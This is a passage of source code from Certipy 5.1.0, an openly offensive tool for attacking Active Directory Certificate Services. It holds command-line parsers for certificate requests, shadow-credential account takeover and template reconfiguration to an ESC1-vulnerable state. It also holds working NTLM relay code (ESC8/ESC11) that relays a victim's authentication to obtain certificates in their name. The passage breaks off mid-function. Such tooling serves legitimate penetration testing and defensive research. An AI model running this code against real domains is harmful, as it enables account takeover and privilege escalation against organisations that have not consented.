to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the parse subparser with description subparser = subparsers.add_parser( NAME, help="Offline enumerate AD CS based on registry data", description=( "Parse and analyze certificate templates from exported registry data. " "This allows assessment of AD CS security without direct domain access." ), ) # Input file (positional argument, required) subparser.add_argument( "file", help="File to parse (BOF output or .reg file from registry export)" ) # Output format options output_group = subparser.add_argument_group("output options") output_group.add_argument( "-text", action="store_true", help="Output result as formatted text file", ) output_group.add_argument( "-stdout", action="store_true", help="Output result as text directly to console", ) output_group.add_argument( "-json", action="store_true", help="Output result as JSON", ) output_group.add_argument( "-csv", action="store_true", help="Output result as CSV", ) output_group.add_argument( "-output", action="store", metavar="prefix", help="Filename prefix for writing results to", ) # Parse options for input interpretation and filtering parse_group = subparser.add_argument_group("parse options") parse_group.add_argument( "-format", metavar="format", help="Input format: BOF output or Windows .reg file (default: bof)", choices=["bof", "reg", "oc2_bof"], default="bof", ) parse_group.add_argument( "-domain", metavar="domain name", help="Domain name. Only used for output context (default: UNKNOWN)", type=lambda arg: arg.upper(), default="UNKNOWN", ) parse_group.add_argument( "-ca", metavar="ca name", help="CA name. Only used for output context (default: UNKNOWN)", default="UNKNOWN", ) # Security analysis options parse_group.add_argument( "-sids", metavar="sids", help="Consider the comma separated list of SIDs as owned for vulnerability assessment", type=lambda arg: list(map(str.strip, arg.split(","))), default=[], ) parse_group.add_argument( "-published", metavar="templates", help="Consider the comma separated list of template names as published in AD", type=lambda arg: list(map(str.strip, arg.split(","))), default=[], ) # Filter options filter_group = subparser.add_argument_group("filter options") filter_group.add_argument( "-enabled", action="store_true", help="Show only enabled certificate templates", ) filter_group.add_argument( "-vulnerable", action="store_true", help="Show only vulnerable certificate templates based on nested group memberships", ) filter_group.add_argument( "-hide-admins", action="store_true", help="Don't show administrator permissions for -text, -stdout, -json, and -csv output", ) bloodhound_group = subparser.add_argument_group( "BloodHound", description="Requires the 'bloodhound' extra to be installed" ) bloodhound_group.add_argument("-neo4j-user", help="Username for neo4j") bloodhound_group.add_argument("-neo4j-pass", help="Password for neo4j") bloodhound_group.add_argument( "-neo4j-host", help="Host for neo4j", default="localhost" ) bloodhound_group.add_argument("-neo4j-port", help="Port for neo4j", default=7687) bloodhound_group.add_argument( "-use-owned-sids", help="Use the SIDs of all owned principals as the user SIDs", action="store_true", ) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/relay.py000077500000000000000000000151671521657466500216170ustar00rootroot00000000000000""" Parser for NTLM Relay command. This module defines the command-line interface for the 'relay' command, which enables NTLM relay attacks against Active Directory Certificate Services HTTP endpoints for certificate theft and escalation. """ import argparse from typing import Callable, Tuple # Command name identifier NAME = "relay" def entry(options: argparse.Namespace) -> None: """ Entry point for the relay command. This function imports and calls the actual implementation of the relay command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import relay relay.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the NTLM relay command subparser to the main parser. This function creates and configures a subparser for relaying NTLM authentication to AD CS HTTP endpoints, enabling certificate theft and account takeover via certificate-based authentication. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the relay subparser with description subparser = subparsers.add_parser( NAME, help="NTLM Relay to AD CS HTTP Endpoints", description=( "Perform NTLM relay attacks against Active Directory Certificate Services. " "This allows obtaining certificates for relayed users and computers, " "which can be used for authentication and potential privilege escalation." ), ) # Target CA (required) subparser.add_argument( "-target", action="store", metavar="protocol://", required=True, help=( "protocol:// of certificate authority. " "Example: http://ca.corp.local for ESC8 or rpc://ca.corp.local for ESC11" ), ) # Certificate request parameters cert_group = subparser.add_argument_group("certificate request options") cert_group.add_argument( "-ca", action="store", metavar="certificate authority name", help=( "CA name to request certificate from. Example: 'CORP-CA'. " "Only required for RPC relay (ESC11)" ), ) cert_group.add_argument( "-template", action="store", metavar="template name", help=( "If omitted, the template 'Machine' or 'User' is chosen by default " "depending on whether the relayed account name ends with '$'. " "Relaying a DC should require specifying the 'DomainController' template" ), ) # Subject Alternative Name options cert_group.add_argument( "-upn", action="store", metavar="alternative UPN", help="User Principal Name to include in the Subject Alternative Name", ) cert_group.add_argument( "-dns", action="store", metavar="alternative DNS", help="DNS name to include in the Subject Alternative Name", ) cert_group.add_argument( "-sid", action="store", metavar="alternative Object SID", help="Object SID to include in the Subject Alternative Name", ) cert_group.add_argument( "-subject", action="store", metavar="subject", help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL", ) # Certificate options cert_group.add_argument( "-retrieve", action="store", metavar="request ID", help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate", default=None, type=int, ) cert_group.add_argument( "-key-size", action="store", metavar="RSA key length", help="Length of RSA key (default: 2048)", default=2048, type=int, ) cert_group.add_argument( "-archive-key", action="store", metavar="cax cert file", help="Specify CAX Certificate for Key Archival. You can request the cax cert with 'certipy req -cax-cert'", ) cert_group.add_argument( "-pfx-password", action="store", metavar="PFX file password", help="Password for the PFX file", ) # Advanced certificate options cert_group.add_argument( "-application-policies", action="store", nargs="+", metavar="Application Policy", help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')", ) cert_group.add_argument( "-smime", action="store", metavar="encryption algorithm", help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)", ) # Output options output_group = subparser.add_argument_group("output options") output_group.add_argument( "-out", action="store", metavar="output file name", help="Path to save the certificate and private key (PFX format)", ) # Server configuration options server_group = subparser.add_argument_group("server options") server_group.add_argument( "-interface", action="store", metavar="ip address", help="IP Address of interface to listen on (default: 0.0.0.0)", default="0.0.0.0", ) server_group.add_argument( "-port", action="store", metavar="port number", help="Port to listen on (default: 445)", default=445, type=int, ) # Relay behavior options relay_group = subparser.add_argument_group("relay options") relay_group.add_argument( "-forever", action="store_true", help="Don't stop the relay server after the first successful relay", ) relay_group.add_argument( "-no-skip", action="store_true", help="Don't skip previously attacked users (use with -forever)", ) relay_group.add_argument( "-enum-templates", action="store_true", help="Relay to /certsrv/certrqxt.asp and parse available certificate templates", ) # Connection parameters conn_group = subparser.add_argument_group("connection options") conn_group.add_argument( "-timeout", action="store", metavar="seconds", help="Timeout for connections in seconds (default: 10)", default=10, type=int, ) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/req.py000077500000000000000000000151321521657466500212620ustar00rootroot00000000000000""" Parser for certificate request command. This module defines the command-line interface for the 'req' command, which allows requesting certificates from Active Directory Certificate Services (AD CS). """ import argparse from typing import Callable, Tuple from . import target # Command name identifier NAME = "req" def entry(options: argparse.Namespace) -> None: """ Entry point for the certificate request command. This function imports and calls the actual implementation of the req command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import req req.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the certificate request command subparser to the main parser. This function creates and configures a subparser for requesting certificates from AD CS, including options for certificate templates, subject alternative names, and various enrollment methods. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the req subparser with description subparser = subparsers.add_parser( NAME, help="Request certificates", description=( "Request and retrieve certificates from Active Directory Certificate Services (AD CS). " "This command supports multiple enrollment protocols and certificate template types." ), ) # CA name (required) subparser.add_argument( "-ca", action="store", metavar="certificate authority name", help="Name of the Certificate Authority to request certificates from. Required for RPC and DCOM methods", ) # Certificate request parameters cert_group = subparser.add_argument_group("certificate request options") cert_group.add_argument( "-template", action="store", metavar="template name", default="User", help="Certificate template to request (default: User)", ) # Subject Alternative Name options cert_group.add_argument( "-upn", action="store", metavar="alternative UPN", help="User Principal Name to include in the Subject Alternative Name", ) cert_group.add_argument( "-dns", action="store", metavar="alternative DNS", help="DNS name to include in the Subject Alternative Name", ) cert_group.add_argument( "-sid", action="store", metavar="alternative Object SID", help="Object SID to include in the Subject Alternative Name", ) cert_group.add_argument( "-subject", action="store", metavar="subject", help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL", ) # Certificate retrieval options cert_group.add_argument( "-retrieve", action="store", metavar="request ID", help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate", default=None, type=int, ) # Certificate request agent options cert_group.add_argument( "-on-behalf-of", action="store", metavar="domain\\account", help="Use a Certificate Request Agent certificate to request on behalf of another user", ) cert_group.add_argument( "-pfx", action="store", metavar="pfx/p12 file name", help="Path to PFX for -on-behalf-of or -renew", ) cert_group.add_argument( "-pfx-password", action="store", metavar="PFX file password", help="Password for the PFX file", ) # Key options cert_group.add_argument( "-key-size", action="store", metavar="RSA key length", help="Length of RSA key (default: 2048)", default=2048, type=int, ) cert_group.add_argument( "-archive-key", action="store_true", help="Send private key for Key Archival" ) cert_group.add_argument( "-cax-cert", action="store_true", help="Retrieve CAX Cert for relay with enabled Key Archival", ) cert_group.add_argument( "-renew", action="store_true", help="Create renewal request" ) # Advanced certificate options cert_group.add_argument( "-application-policies", action="store", nargs="+", metavar="Application Policy", help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')", ) cert_group.add_argument( "-smime", action="store", metavar="encryption algorithm", help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)", ) # Output options output_group = subparser.add_argument_group("output options") output_group.add_argument( "-out", action="store", metavar="output file name", help="Path to save the certificate and private key (PFX format)", ) # Connection method options connection_group = subparser.add_argument_group("connection options") connection_group.add_argument( "-web", action="store_true", help="Use Web Enrollment instead of RPC" ) connection_group.add_argument( "-dcom", action="store_true", help="Use DCOM Enrollment instead of RPC" ) # RPC-specific options rpc_group = subparser.add_argument_group("rpc connection options") rpc_group.add_argument( "-dynamic-endpoint", action="store_true", help="Prefer dynamic TCP endpoint over named pipe", ) # HTTP-specific options http_group = subparser.add_argument_group("http connection options") http_group.add_argument( "-http-scheme", action="store", metavar="http scheme", choices=["http", "https"], default="http", help="HTTP scheme to use for Web Enrollment (default: http)", ) http_group.add_argument( "-http-port", action="store", metavar="port number", help="Web Enrollment port (default: 80 for http, 443 for https)", type=int, ) http_group.add_argument( "-no-channel-binding", action="store_true", help="Disable channel binding for HTTP connections", ) # Add standard target arguments target.add_argument_group(subparser, connection_options=connection_group) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/shadow.py000077500000000000000000000060201521657466500217540ustar00rootroot00000000000000""" Parser for Shadow Credentials command. This module defines the command-line interface for the 'shadow' command, which allows manipulation of Key Credential links (Shadow Credentials) on Active Directory accounts for potential account takeover. """ import argparse from typing import Callable, Tuple from . import target # Command name identifier NAME = "shadow" def entry(options: argparse.Namespace) -> None: """ Entry point for the shadow command. This function imports and calls the actual implementation of the shadow command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import shadow shadow.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the shadow credentials command subparser to the main parser. This function creates and configures a subparser for managing Shadow Credentials (Key Credential Links) in Active Directory, including options for listing, adding, and removing credential links for account takeover. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the shadow subparser with description subparser = subparsers.add_parser( NAME, help="Abuse Shadow Credentials for account takeover", description=( "Manipulate Key Credential Links (Shadow Credentials) on Active Directory accounts. " "This allows for account takeover by adding or modifying Key Credential Links." ), ) # Main action argument (required) subparser.add_argument( "shadow_action", choices=["list", "add", "remove", "clear", "info", "auto"], help=( "Operation to perform on Key Credential Links: " "list (view all), " "add (create new), " "remove (delete specific), " "clear (remove all), " "info (display detailed information), " "auto (automatically exploit)" ), ) # Target account options account_group = subparser.add_argument_group("account options") account_group.add_argument( "-account", action="store", metavar="target account", help=( "Account to target. If omitted, the user " "specified in the target will be used" ), ) account_group.add_argument( "-device-id", action="store", metavar="device id", help="Device ID of the Key Credential Link to target", ) # Output options output_group = subparser.add_argument_group("output options") output_group.add_argument( "-out", action="store", metavar="output file name", help="Output file for saving certificate or results", ) # Add standard target arguments from shared module target.add_argument_group(subparser) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/target.py000077500000000000000000000125521521657466500217640ustar00rootroot00000000000000""" Target Configuration Parser Module. This module provides functions to add common target and authentication options to command parsers, ensuring consistent options across all Certipy commands when connecting to Active Directory services. """ import argparse from typing import Optional def add_argument_group( parser: argparse.ArgumentParser, connection_options: Optional[argparse._ArgumentGroup] = None, ) -> None: """ Add common target, connection, and authentication arguments to a parser. This function adds standard options for connecting to Active Directory targets, including domain controllers, authentication methods, and network settings. Args: parser: The parser to add argument groups to connection_options: Optional existing argument group for connection options """ # Connection Options Group if connection_options is not None: conn_group = connection_options else: conn_group = parser.add_argument_group("connection options") # Domain controller options _ = conn_group.add_argument( "-dc-ip", action="store", metavar="ip address", help=( "IP address of the domain controller. If omitted, it will use the domain " "part (FQDN) specified in the target parameter" ), ) _ = conn_group.add_argument( "-dc-host", action="store", metavar="hostname", help=( "Hostname of the domain controller. Required for Kerberos authentication " "during certain operations. If omitted, the domain part (FQDN) " "specified in the account parameter will be used" ), ) # Target machine options _ = conn_group.add_argument( "-target-ip", action="store", metavar="ip address", help=( "IP address of the target machine. If omitted, it will use whatever was " "specified as target. Useful when target is the NetBIOS name and cannot be resolved" ), ) _ = conn_group.add_argument( "-target", action="store", metavar="dns/ip address", help="DNS name or IP address of the target machine. Required for Kerberos authentication", ) # DNS options _ = conn_group.add_argument( "-ns", action="store", metavar="ip address", help="Nameserver for DNS resolution", ) _ = conn_group.add_argument( "-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" ) # Connection options _ = conn_group.add_argument( "-timeout", action="store", metavar="seconds", help="Timeout for connections in seconds (default: 10)", default=10, type=int, ) # Authentication Options Group auth_group = parser.add_argument_group("authentication options") # Credential options _ = auth_group.add_argument( "-u", "-username", metavar="username@domain", dest="username", action="store", help="Username to authenticate with", ) _ = auth_group.add_argument( "-p", "-password", metavar="password", dest="password", action="store", help="Password for authentication", ) _ = auth_group.add_argument( "-hashes", action="store", metavar="[lmhash:]nthash", help="NTLM hash", ) # Authentication options _ = auth_group.add_argument( "-k", action="store_true", dest="do_kerberos", help=( "Use Kerberos authentication. Grabs credentials from ccache file " "(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, " "it will use the ones specified in the command line" ), ) _ = auth_group.add_argument( "-aes", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication (128 or 256 bits)", ) _ = auth_group.add_argument( "-no-pass", action="store_true", help="Don't ask for password (useful for -k)", ) # LDAP Options Group ldap_group = parser.add_argument_group("ldap options") _ = ldap_group.add_argument( "-ldap-scheme", action="store", metavar="ldap scheme", choices=["ldap", "ldaps"], default="ldaps", help="LDAP connection scheme to use (default: ldaps)", ) _ = ldap_group.add_argument( "-ldap-port", action="store", metavar="port", type=int, help="Port for LDAP communication (default: 636 for ldaps, 389 for ldap)", ) _ = ldap_group.add_argument( "-no-ldap-channel-binding", action="store_true", help="Don't use LDAP channel binding for LDAP communication (LDAPS only)", ) _ = ldap_group.add_argument( "-no-ldap-signing", action="store_true", help="Don't use LDAP signing for LDAP communication (LDAP only)", ) _ = ldap_group.add_argument( "-ldap-simple-auth", action="store_true", dest="do_simple", help="Use SIMPLE LDAP authentication instead of NTLM", ) _ = ldap_group.add_argument( "-ldap-user-dn", action="store", metavar="dn", help="Distinguished Name of target account for LDAP authentication", ) Certipy-5.1.0/certipy/commands/parsers/template.py000077500000000000000000000101301521657466500222770ustar00rootroot00000000000000""" Parser for certificate template management commands. This module defines the command-line interface for the 'template' command, which allows manipulating certificate templates in Active Directory. """ import argparse from typing import Callable, Tuple from . import target # Command name identifier NAME = "template" def entry(options: argparse.Namespace) -> None: """ Entry point for the template command. This function imports and calls the actual implementation of the template command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import template template.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the certificate template command subparser to the main parser. This function creates and configures a subparser for managing certificate templates in Active Directory, including options for viewing, modifying, and saving template configurations. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the template subparser with description subparser = subparsers.add_parser( NAME, help="Manage certificate templates", description=( "Manipulate certificate templates in Active Directory. " "This command allows viewing and modifying template configurations for privilege escalation testing or remediation." ), ) # Required template name argument subparser.add_argument( "-template", action="store", metavar="template name", required=True, help="Name of the certificate template to operate on (case-sensitive)", ) # Group configuration-related options config_group = subparser.add_argument_group("configuration options") config_group.add_argument( "-write-configuration", action="store", metavar="configuration file", help=( "Apply configuration from a JSON file to the certificate template. " "Use this option to restore a previous configuration or apply custom settings. " "The file should contain the template configuration in valid JSON format." ), ) config_group.add_argument( "-write-default-configuration", nargs="?", const="S-1-5-11", default=None, metavar="target sid", help=( "Apply the default Certipy ESC1 configuration to the certificate template. " "This configures the template to be vulnerable to ESC1 attack. " "It accepts an optional argument for the target sid that should get ESC1 permissions " "(default S-1-5-11 for authenticated users). " "CAREFUL: If you specify a SID of an account not under your control, you lose the ability to restore!" ), ) config_group.add_argument( "-save-configuration", action="store", metavar="configuration file", help=( "Save the current template configuration to a JSON file. " "This creates a backup before making changes or documents the current settings. " "If not specified when using -write-configuration or -write-default-configuration, a backup will still be created." ), ) config_group.add_argument( "-no-save", action="store_true", help=( "Skip saving the current template configuration before applying changes. " "Use this option to apply modifications without creating a backup file." ), ) config_group.add_argument( "-force", action="store_true", help=( "Don't prompt for confirmation before applying changes. " "Use this option to apply modifications without user interaction." ), ) # Add standard target arguments (domain, username, etc.) from shared module target.add_argument_group(subparser) return NAME, entry Certipy-5.1.0/certipy/commands/relay.py000077500000000000000000001045111521657466500201300ustar00rootroot00000000000000""" Certificate Relay Attack Module for Certipy. This module implements NTLM relay attacks against Active Directory Certificate Services (AD CS): - ESC8: NTLM relay to AD CS HTTP endpoints (Web Enrollment) - ESC11: NTLM relay to AD CS RPC endpoints (MS-ICPR) The attacks allow an attacker to obtain certificates for other users by relaying their NTLM authentication to an AD CS server, which can then be used for privilege escalation or persistence. Key Components: - Relay: Main class orchestrating the relay attack - ADCSHTTPRelayServer: Relays HTTP authentication to AD CS Web Enrollment - ADCSRPCRelayServer: Relays RPC authentication to AD CS Certificate Services - ADCSHTTPAttackClient: Handles certificate requests via HTTP - ADCSRPCAttackClient: Handles certificate requests via RPC """ import argparse import base64 import os import struct import time from struct import unpack from threading import Lock from typing import Any, List, Literal, Optional, Tuple, Union, cast import bs4 import httpx from cryptography.hazmat.primitives.asymmetric import rsa from impacket.dcerpc.v5 import epm from impacket.examples import logger as _impacket_logger from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.clients import rpcrelayclient from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient from impacket.examples.ntlmrelayx.servers import SMBRelayServer from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS from impacket.ntlm import NTLMAuthChallenge, NTLMAuthChallengeResponse from impacket.spnego import SPNEGO_NegTokenResp from certipy.lib.certificate import ( create_csr, create_csr_attributes, create_key_archival, csr_to_der, csr_to_pem, der_to_cert, ) from certipy.lib.constants import OID_TO_STR_NAME_MAP, USER_AGENT from certipy.lib.errors import handle_error from certipy.lib.logger import logging from certipy.lib.ntlm import NtlmNotSupportedError from certipy.lib.req import ( MSRPC_UUID_ICPR, Request, RPCRequestInterface, handle_request_response, handle_retrieve, web_request, web_retrieve, ) from certipy.lib.target import DnsResolver, Target class ADCSHTTPRelayServer(HTTPRelayClient): """ HTTP relay client for AD CS Web Enrollment interface. This class relays NTLM authentication to AD CS Web Enrollment services, allowing an attacker to request certificates on behalf of the relayed user. """ def __init__(self, adcs_relay: "Relay", *args, **kwargs): # type: ignore """ Initialize the HTTP relay server. Args: adcs_relay: The parent Relay object args: Arguments to pass to the parent class kwargs: Keyword arguments to pass to the parent class """ super().__init__(*args, **kwargs) self.adcs_relay = adcs_relay def initConnection(self) -> Literal[True]: # noqa: N802 """ Establish a connection to the AD CS Web Enrollment service. Returns: True if connection was successful """ logging.debug(f"Using target: {self.adcs_relay.target}...") logging.debug(f"Base URL: {self.adcs_relay.base_url}") logging.debug(f"Path: {self.target.path}") logging.debug(f"Using timeout: {self.adcs_relay.timeout}") self.session = httpx.Client( base_url=self.adcs_relay.base_url, verify=False, timeout=self.adcs_relay.timeout, headers={ "User-Agent": USER_AGENT, }, ) self.lastresult = None # Prepare the target path if self.target.path == "": self.path = "/" else: self.path = self.target.path logging.debug(f"Using path: {self.target.path}") logging.debug(f"Using path: {self.path}") return True def sendNegotiate( # noqa: N802 # type: ignore self, negotiate_message: bytes ) -> Optional[NTLMAuthChallenge]: # Check if server wants auth res = self.session.get(self.path) if res.status_code != 401: logging.info( "Status code returned: %d. Authentication does not seem required for URL" % res.status_code ) authenticate_header = res.headers.get("WWW-Authenticate", None) if authenticate_header is None: logging.error( "No authentication requested by the server for url %s. Sending NTLM auth anyways" % self.adcs_relay.target ) self.authenticationMethod = "NTLM" else: authenticate_header = authenticate_header.lower() if "ntlm" in authenticate_header: self.authenticationMethod = "NTLM" elif "negotiate" in authenticate_header: self.authenticationMethod = "Negotiate" else: logging.error( "Neither NTLM nor Negotiate auth offered by URL, offered protocols: %s" % authenticate_header ) return None # Negotiate auth negotiate = base64.b64encode(negotiate_message).decode() headers = {"Authorization": f"{self.authenticationMethod} {negotiate}"} res = self.session.get(self.path, headers=headers) if res.status_code != 401: logging.error("Got unauthorized response from AD CS") return None # Check for NTLM challenge in the response authenticate_header = res.headers.get("WWW-Authenticate", None) if authenticate_header is None: logging.error("No authentication challenge returned from server") return None # Extract the server challenge from the authentication header try: # Find the challenge portion of the header server_challenge_base64 = next( s.strip()[len(self.authenticationMethod) :] for s in (val.lstrip() for val in authenticate_header.split(",")) if s.startswith(self.authenticationMethod) ).strip() except Exception: logging.error( f"Failed to parse authentication header: {authenticate_header!r}" ) handle_error() return None # Decode the challenge try: server_challenge = base64.b64decode(server_challenge_base64) except Exception as e: logging.error( f"Failed to decode server challenge: {authenticate_header!r} - {e}" ) handle_error() return None # Check if challenge is wrapped in SPNEGO if ( server_challenge and struct.unpack("B", server_challenge[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP ): resp = SPNEGO_NegTokenResp(server_challenge) type2 = resp["ResponseToken"] else: type2 = server_challenge if not type2: # This means that the server is not using NTLM # and we should not continue with NTLM authentication logging.warning( "Server did not return a valid NTLM challenge. The server may have disabled NTLM authentication." ) raise NtlmNotSupportedError("Server did not return a valid NTLM challenge.") # Parse Type 2 message challenge = NTLMAuthChallenge() try: challenge.fromString(type2) return challenge except Exception as e: logging.error( f"Failed to parse server challenge: {authenticate_header!r} - {e}" ) handle_error() return None def sendAuth( # noqa: N802 # type: ignore self, authenticate_blob: bytes, _server_challenge: Optional[bytes] = None ) -> Tuple[Optional[bytes], int]: """ Send authentication data to the target with proper locking to prevent race conditions. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code) """ while not self.adcs_relay.attack_lock.acquire(): time.sleep(0.1) response = None, STATUS_ACCESS_DENIED try: response = self._send_auth(authenticate_blob) except Exception as e: logging.error(f"Failed to authenticate: {e}") handle_error() response = None, STATUS_ACCESS_DENIED finally: self.adcs_relay.attack_lock.release() return response def _send_auth(self, authenticate_blob: bytes) -> Tuple[Optional[bytes], int]: """ Process and send authentication data to the target. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code) """ # Extract the NTLM token from SPNEGO if needed if ( unpack("B", authenticate_blob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP ): resp = SPNEGO_NegTokenResp(authenticate_blob) token = resp["ResponseToken"] else: token = authenticate_blob # Parse NTLM authentication response response = NTLMAuthChallengeResponse() response.fromString(data=token) # Extract domain and username from response # TODO: Support unicode domain = response["domain_name"].decode("utf-16le") username = response["user_name"].decode("utf-16le") # Store the authenticated user for later use self.session.user = f"{domain}\\{username}" # type: ignore # Build authorization header with NTLM token auth = base64.b64encode(token).decode() headers = {"Authorization": f"{self.authenticationMethod} {auth}"} # Make authenticated request to AD CS res = self.session.get(self.path, headers=headers) if res.status_code == 401: logging.error("Got unauthorized response from AD CS") return None, STATUS_ACCESS_DENIED else: logging.debug( f"HTTP server returned status code {res.status_code}, treating as successful login" ) # Cache the response self.lastresult = res.read() return None, STATUS_SUCCESS class ADCSRPCRelayServer(rpcrelayclient.RPCRelayClient, rpcrelayclient.ProtocolClient): # type: ignore """ RPC relay client for AD CS Certificate Services interface. This class relays NTLM authentication to AD CS RPC endpoints (MS-ICPR), allowing an attacker to request certificates on behalf of the relayed user. """ def __init__( self, config: NTLMRelayxConfig, target: object, targetPort: Optional[int] = None, # noqa: N803 extendedSecurity: bool = True, # noqa: N803 ): """ Initialize the RPC relay server. Args: serverConfig: NTLMRelayxConfig object with relay settings target: Target information targetPort: Target RPC port (default: uses port mapping) extendedSecurity: Whether to use extended security """ rpcrelayclient.ProtocolClient.__init__( self, config, target, targetPort, extendedSecurity ) # Set up RPC endpoint details self.endpoint = "ICPR" self.endpoint_uuid = MSRPC_UUID_ICPR netloc: str = target.netloc # type: ignore # Find the appropriate RPC binding string logging.info( f"Connecting to ncacn_ip_tcp:{netloc}[135] to determine {self.endpoint} stringbinding" ) self.stringbinding = epm.hept_map( netloc, self.endpoint_uuid, protocol="ncacn_ip_tcp" ) logging.debug(f"{self.endpoint} stringbinding is {self.stringbinding}") def sendAuth( # noqa: N802 # type: ignore self, authenticate_blob: bytes, server_challenge: Optional[bytes] = None ) -> Tuple[Optional[bytes], int]: """ Send authentication data to the target RPC service. Args: authenticateMessageBlob: The authentication message serverChallenge: The server challenge Returns: Tuple of (response, status code) """ # Extract the NTLM token from SPNEGO if needed if ( unpack("B", authenticate_blob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP ): resp = SPNEGO_NegTokenResp(authenticate_blob) auth_data = resp["ResponseToken"] else: auth_data = authenticate_blob # Send the authentication data to the target self.session.sendBindType3(auth_data) # type: ignore # Test if authentication was successful by sending a dummy request try: req = rpcrelayclient.DummyOp() self.session.request(req) # type: ignore return None, STATUS_SUCCESS except rpcrelayclient.DCERPCException as e: # Expected error codes for successful auth but invalid operation if "nca_s_op_rng_error" in str(e) or "RPC_E_INVALID_HEADER" in str(e): return None, STATUS_SUCCESS elif "rpc_s_access_denied" in str(e): return None, STATUS_ACCESS_DENIED else: logging.info(f"Unexpected RPC error from {self.stringbinding}: {e}") return None, STATUS_ACCESS_DENIED except Exception as e: logging.info(f"Unexpected error from {self.stringbinding}: {e}") return None, STATUS_ACCESS_DENIED class ADCSHTTPAttackClient(ProtocolAttack): """ Attack client for HTTP-based AD CS certificate requests. This class handles certificate operations via the Web Enrollment interface. """ def __init__(self, adcs_relay: "Relay", *args, **kwargs): # type: ignore """ Initialize the HTTP attack client. Args: adcs_relay: The parent Relay object args: Arguments to pass to the parent class kwargs: Keyword arguments to pass to the parent class """ super().__init__(*args, **kwargs) self.adcs_relay = adcs_relay def run(self) -> None: # type: ignore """ Execute the certificate request attack with proper locking. """ while not self.adcs_relay.attack_lock.acquire(): time.sleep(0.1) try: self._run() except Exception as e: logging.error(f"Failed to run attack: {e}") handle_error() finally: self.adcs_relay.attack_lock.release() def _run(self) -> None: """ Main attack logic - request or retrieve a certificate for the relayed user. """ # Check if we've already attacked this target and should skip if ( not self.adcs_relay.no_skip and self.client.user in self.adcs_relay.attacked_targets ): logging.debug( f"Skipping user {self.client.user!r} since attack was already performed" ) return # Handle template enumeration mode if self.adcs_relay.enum_templates: self._enumerate_templates() return # Handle certificate retrieval or request request_id = self.adcs_relay.request_id if request_id: self._retrieve_certificate(request_id) else: self._request_certificate() def _enumerate_templates(self) -> None: """ Enumerate available certificate templates from Web Enrollment. """ # Request the certificate request page res = self.client.get("/certsrv/certrqxt.asp") content = res.text # Parse the HTML to extract templates soup = bs4.BeautifulSoup(content, "html.parser") select_tag = cast( Optional[bs4.Tag], soup.find("select", {"name": "lbCertTemplate", "id": "lbCertTemplateID"}), ) if select_tag: option_tags = select_tag.find_all("option") print(f"Templates Found for {self.client.user!r}:") for option in option_tags: if not isinstance(option, bs4.Tag): continue value = option["value"] if not isinstance(value, str): logging.warning( f"Got unexpected value type {type(value)} for template {option.text}: {value!r}" ) continue split_value = value.split(";") if len(split_value) > 1: print(split_value[1]) return self.finish_run() def _retrieve_certificate(self, request_id: int) -> None: """ Retrieve a certificate by request ID. Args: request_id: The ID of the certificate request to retrieve """ result = web_retrieve( self.client, request_id, ) if result is not None: handle_retrieve( result, request_id, self.client.user, self.adcs_relay.out, self.adcs_relay.pfx_password, ) return self.finish_run() def _request_certificate(self) -> None: """ Request a new certificate for the relayed user. """ # Choose appropriate template based on username template = self.config.template if template is None: template = "Machine" if self.username.endswith("$") else "User" # Generate certificate signing request csr, key = create_csr( self.username, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, subject=self.adcs_relay.subject, key_size=self.adcs_relay.key_size, application_policies=self.adcs_relay.application_policies, smime=self.adcs_relay.smime, ) # Handle key archival if specified if self.adcs_relay.archive_key: logging.info( f"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}" ) with open(self.adcs_relay.archive_key, "rb") as f: cax_cert = f.read() cax_cert = der_to_cert(cax_cert) 